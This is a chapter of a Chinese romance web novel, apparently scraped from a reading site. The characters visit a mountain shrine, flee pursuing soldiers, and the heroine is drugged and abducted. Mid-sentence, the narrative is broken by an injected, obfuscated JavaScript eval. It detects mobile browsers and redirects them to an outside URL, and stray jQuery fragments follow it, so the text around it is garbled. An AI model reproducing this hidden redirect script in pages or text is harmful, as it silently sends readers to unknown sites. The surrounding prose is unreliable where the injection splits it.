默认冷灰
24号文字
方正启体

12. 阴魂不散的追兵

作者:柳鸿雁本书字数:K更新时间:
    三人上了山转过牌楼,远远便瞧见福山娘娘神像高有八尺阔三丈,巍峨矗立。


    那凤眼眺望远处天际,神情悲悯,欲要乘风归去。


    耳边人声喧闹,沈香晚恍惚记得上次来这里还是一年前,那时正值寒冬。


    这次身边除了家人,也多了个人。


    雀儿从啜炎织背上顺势落地,一刻也不停留朝前走,沈香晚要追上去,手臂被啜炎织扯住,“让他去玩儿,那孩子又不会丢。”


    “我知晓的。”沈香晚挣开他,捋了捋鬓角青丝。


    这时有人同他们擦肩而过,各人手中拿着几枚圆木牌,坠红穗子。


    “这是何物?”啜炎织看过去,眼睛一刻不离。


    沈香晚略瞥一眼,正想告诉。


    早跑没影儿的雀儿折返回来,开口说:“是祈求姻缘的木牌,跑到后山挂在神树上,喏,就是这个,可灵验了!”


    雀儿摊开,手上赫然就是那物件,木牌上印有白麋鹿,蜂鸟花草,穗子凌乱交织一起。


    沈香晚诧异道:你哪来的银子?”


    “山下的时候姑丈给……”


    在她的注目下雀儿声音渐渐小下去,偷偷凑近啜炎织身后。


    应是在沈香晚走在前头,二人在后时,啜炎织暗自给他。


    沈香晚略有不悦,“好端端给小孩子银钱干甚!”


    啜炎织微微皱眉,“只是一点小钱,不算多。”


    “那也不能给。”于是她伸手向雀儿跟前,要还给啜炎织。


    雀儿满脸不情愿,可又慢吞吞摸进袖子里。


    没等雀儿拿出剩余财资,她手里便多枚木牌。


    啜炎织握住她手腕,带着不容拒绝的语气说道:“又没乱花,这两个还是给咱俩买的,既然买了,写完祝愿就去后山挂上。”


    不等她反应过来,身子如风筝线不受控随他走。


    啜炎织叫雀儿在前领路。


    啜炎织膂力惊人,箍住她不能挣脱,她没奈何,只得随了他。


    福山后山乃阴凉所在,姻缘圣地,各族男女成双成对出入。


    自进山后,郎君女郎个个低头执笔,有交头接耳,或嬉笑打闹。


    神树所在之地,须要穿过藤桥。


    有些姑娘郎君写完祈求祝愿,便携手走过桥上,在那边铺子买条五彩绳。


    用来悬系木牌,抛掷到参天古树上。


    藤桥那边有数不清的,乌泱泱一群人。


    沈香晚心里犯怵,任他牵着到一处石案上,有备好笔墨砚。


    啜炎织手拿圆木牌,干巴巴问:“你要写什么?”


    他又打发雀儿去看看他人如何写。


    雀儿巴不得离开四处闲逛,脚底生风,他在别的桌案边徘徊蹀躞。


    独留下她和啜炎织面面相觑。


    沈香晚如坐针毡,手里木牌倒像块烫铁,丢又丢不得,“要不别写了吧。”


    啜炎织饱蘸浓墨,凝神一想,摇头道:“来都来了,没有回去的道理。”


    恰好此时雀儿回转,偷偷说道:“他们写的都是天长地久,恩爱情长,你们随便写写就成了。”


    沈香晚脸上闪过尴尬之色,目光与啜炎织对上又匆匆别开。


    这如何写得出,手里绞着帕子,只得勉强笑笑:“姑姑晓得了。”


    雀儿睁着大眼睛,“那你们为何不写?”


    “这……”她难以启齿。


    “谁说不写。”


    啜炎织收走她面前的木牌,行云流水下笔。


    沈香晚要阻拦,却见写的不是汉文而是菏勒语。


    片刻功夫不到,两枚木牌写满了祝愿。


    雀儿托腮,手指上面菏勒小字,再三辨别:“愿长生天……”


    啜炎织收起木牌,不让雀儿再说下去,也不去管左右耳根灼热感,正色道:“走了,愣着干什么?”


    藤桥下方黑魖魖深不见底,偶尔从深渊传来几声鸟鸣。


    藤桥人多走动摇摆,沈香晚战战兢兢走上去,前所未有的失控感裹挟着她,心突突直跳。


    要不说唯有孩子初生牛犊不怕虎,那雀儿撒了欢的跑过去,在桥对面挥手,大笑道:“姑姑快过来!”


    脚下这桥又因脚步律动摇摆起来。


    一直跟在她身后的啜炎织瞧见她的窘状,故意凑近她,故作诧异道:“你竟然怕这个!”


    接着伸出援手,笑道:“要不要帮忙?”


    沈香晚拍开眼前的那只手,望着他幸灾乐祸的神色,心里火起,“不必,你还是管好自己吧!”


    沈香晚颤巍巍走几步路,也不知是谁作恶摇晃藤桥,吓得她站立不动。


    只觉眼前天旋地转,慌忙中有人稳稳搂住她,鼻尖触及柔软锦缎时,闻到那人身上檀香。


    胸膛轻微颤抖着,头顶传来略带笑意的声音,“我说沈大小姐,不行就别逞强了。”


    啜炎织抱着她,而放在腰间的那手,令她不得不注意,男子掌心温热,透过轻薄衣料沾染肌肤,酥酥麻麻自腰间弥漫开来。


    两片红霞飞上脸颊,沈香晚声音也结巴起来,“你,你快放开我。”


    说犹未毕,桥身又晃动起来,惊得她又搂紧了,宛若抱着浮木。


    “还放开吗?”啜炎织贴近她耳畔,语气恶劣非常。


    啜炎织看到怀里的女郎如惊弓之鸟。


    她瑟缩了一下脖颈,全不似平日冷静模样,他低头看着沈香晚半张脸埋在胸口。


    怀中女子隐约可见的眉眼,那惊恐之意还未散去,怯弱的像在山崖缝里求生的花骨朵儿。


    他迟疑片刻,用手轻轻摩挲她瑟瑟发抖的背脊,低声软语道:“我带你过去。”


    回应的是一句及其微弱的“嗯。”


    沈香晚是一步一步捱过去的,踩上土地那一刻,心里才算踏实。


    扶在腰侧的那只手也悄然离去,沈香晚眼神闪躲,“多谢。”


    雀儿拽根狗尾巴草把玩,一见他们来了,就将怀里的五色绳抽出,递给沈香晚。


    五色绳是用绢条做成,首尾各坠一颗红布绣球。


    啜炎织要过来,三下五除二把木牌打个死结,到神树下抛掷,沈香晚和雀儿则在外观望。


    啜炎织奋力向上,那五色绳轻盈跃进神树枝桠里,顷刻隐没在万紫千红中。


    “投中了吗?”啜炎织遥望着也找寻着。


    沈香晚眼睛微眯,手指在神树左面最高枝头上,“在那儿呢。”


    啜炎织顺着手指看去,果然圆木牌正稳稳挂着。


    他眼睛忽的朝右一瞥。


    人群里有两个长相端正,五大三粗,腰系虎营令牌的菏勒士兵。


    正仰头看着神树交头接耳说话,时而笑笑。


    啜炎织笑意凝在脸上,是前些日子他在南北边境


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488734|185755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甩开的虎骢军。


    他自幼过目不忘,且这二人面容体征出众,身手又好,他便记在心里了。


    阿耶已识破了他的伎俩。


    啜炎织抓狂,果然知子莫若父。


    倘若被抓回去,他定是逃不脱要娶寡嫂阿卓静,真要如此那不如把他杀了!


    啜炎织脸色铁青,直到有人叫他,才回过神来,“何事?”


    沈香晚颦着眉头,“你怎么了?”


    刚刚她问几遍木牌上文字,啜炎织一言不发,脸色又不大对劲儿。


    突然间,啜炎织猛地拽住她,就近寻一处乱石里躲藏,又谨慎小心探头张望。


    “你怎么了?”


    见他如临大敌,沈香晚莫名觉得不是好兆头。


    二人蹲身在乱石后面,前面是青绿乱草丛,遮掩了他们。


    啜炎织似乎犹豫再三,坦白:“家里人来抓逃犯了。”


    逃犯是谁自然不言而喻。


    沈香晚迟疑道:“你想回去么?”


    他既是被逼婚离家出走,想来脾气极为烈性。


    如今追捕人都到眼前,啜炎织武功再高,两拳也难敌四手。


    啜炎织恰似听见笑话,用只他二人能听清的声音说,“我在家都把天捅破了口子了,再回去自讨苦吃?”


    “何况我走了,你怎么办?下月定亲宴怎办?难道要让你成为渔郡的笑谈?我岂不成了背信弃义之人!”


    沈香晚呆呆看着他,好半晌找回自己声音,开口想说话,竟也不知该说些什么,“你……”


    这等关乎一个人留去紧要时候,他还把定亲记挂在心上,他确是个重情义的。


    压下心底那种莫名情绪,突然,沈香晚仿佛记起什么事来,“雀儿呢?”


    雀儿生来爱贪玩,方才急忙忙没留心他,就没跟在他们身边。


    这时外头人多起来,沈香晚瞭望过去,连个小孩影儿也见不着。


    雀儿体量又小,人来人往,一个不留意就可能受伤。


    沈香晚脸色发白,“我要去找他!”


    啜炎织按住她肩头,沉吟道:“我们分头去找,若是你找到他,在此地等我回来,切记。”


    她点点头,却止不住的心慌。


    见啜炎织欲要转身离开,她轻轻拽住啜炎织袖口,勉强笑笑:“你要小心,若是你没不来,也没事的……”


    啜炎织正色道:“你放心,他们三脚猫的功夫可抓不到我。”


    两人分别时,沈香晚望着他离开的背影,不免心忧,可也只是一瞬。


    她转身奔入人海中找寻雀儿,四处求人问寻都说没有见过,直到碰见个老农。


    “我方才见过一个穿白衣,面容清秀的小郎君,有十岁左右,莫不是你说的那个雀儿?”


    沈香晚喜道:“老伯见过,那他去哪儿了?”


    “姑娘跟我来就成。”


    老农在前领路,渐渐远离众人。


    看着是下山的路程,且越走越偏僻。


    沈香晚脚程放慢,雀儿就算贪玩,也不会来这地方冒险,稍不留神便受伤。


    雀儿很爱护自己。


    沈香晚察觉出不对,慢慢后退道:“老伯,我看还是自己去找好了,多谢好意。”


    转身往回走,突然间身后有人用一方手帕捂住她口鼻。


    沈香晚暗叫不好,头脑昏昏沉沉,无知无觉过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)